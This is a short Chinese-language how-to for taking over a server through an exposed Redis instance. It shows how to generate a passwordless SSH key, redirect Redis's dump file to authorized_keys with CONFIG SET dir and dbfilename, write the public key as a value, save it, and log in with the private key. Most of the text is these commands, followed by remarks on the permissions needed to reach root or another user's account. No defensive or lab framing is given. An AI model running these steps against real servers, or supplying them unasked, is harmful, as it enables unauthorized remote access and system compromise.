原理
利用redis的config命令修改rdb文件地址爲ssh密鑰文件,向redis中寫入公共密鑰,通過save命令手動刷新到rdb中,此時就可以用私鑰登陸了
操作
在本地電腦中(linux爲例)生成無密碼的密鑰
ssh-keygen -t rsa -P '' # 後面直接回車
此時在~/.ssh/下生成兩個文件id_rsa
和id_rsa.pub
,id_rsa是私鑰,id_rsa_pub是公鑰,公鑰文件內容如下:
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCf53Tg8bfLm8UQBFgm31YpMPuGDY3eWQ5GCiP4E7hdaSBvqSjeMjUOy5NWLg424BFWSFiKNF8oRBZpXtfhu+4AwgrwdSDJuKQtjJvrh7D+rnuxtzpGbqL/716S0e/+VHeh8PXnC+GPAMg72p7zDzHuYkvwkx/r6LSY9fspU25lHH4I9VrrxgPoS+BbU03i9LiGZFSTUSAljTJE3H5bPNpRPWlHlAZTxGXTYIGO+K2ZnUAg2+HtS246NONl6z1lVtxrS5G4yuiTeHJr+KWJD/DOiZ50EoYqbTHsjnTAM5MJTLHWH1jBIZ133OHW5RGmzyEuws6ge0Y6eGnxgwm2W09p uvince@DESKTOP-6JIM4T8
進入服務器的redis命令行,輸入如下一系列命令(注意ssh-rsa內容前後要有回車符\n):
config set dir /.ssh
config set dbfilename authorized_keys
set ssh-test "\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCf53Tg8bfLm8UQBFgm31YpMPuGDY3eWQ5GCiP4E7hdaSBvqSjeMjUOy5NWLg424BFWSFiKNF8oRBZpXtfhu+4AwgrwdSDJuKQtjJvrh7D+rnuxtzpGbqL/716S0e/+VHeh8PXnC+GPAMg72p7zDzHuYkvwkx/r6LSY9fspU25lHH4I9VrrxgPoS+BbU03i9LiGZFSTUSAljTJE3H5bPNpRPWlHlAZTxGXTYIGO+K2ZnUAg2+HtS246NONl6z1lVtxrS5G4yuiTeHJr+KWJD/DOiZ50EoYqbTHsjnTAM5MJTLHWH1jBIZ133OHW5RGmzyEuws6ge0Y6eGnxgwm2W09p uvince@DESKTOP-6JIM4T8\n"
save
此時,就已經往authorized_keys文件中寫入了公鑰
本地電腦使用命令ssh -i ~/.ssh/id_rsa [email protected]
能夠登陸服務器,這裏-i後面是私鑰的路徑
這裏面,有幾個限制,一個是redis寫文件的權限要能夠到達該目錄。現在寫入的是root用戶中,所以redis需要以root用戶啓動。如果知道某臺服務器上有哪個用戶,就可以把config set dir /.ssh 改爲 config set dir /home/username/.ssh 了,最好還是redis和那個用戶是同一個用戶,這時候用config set dir ~/.ssh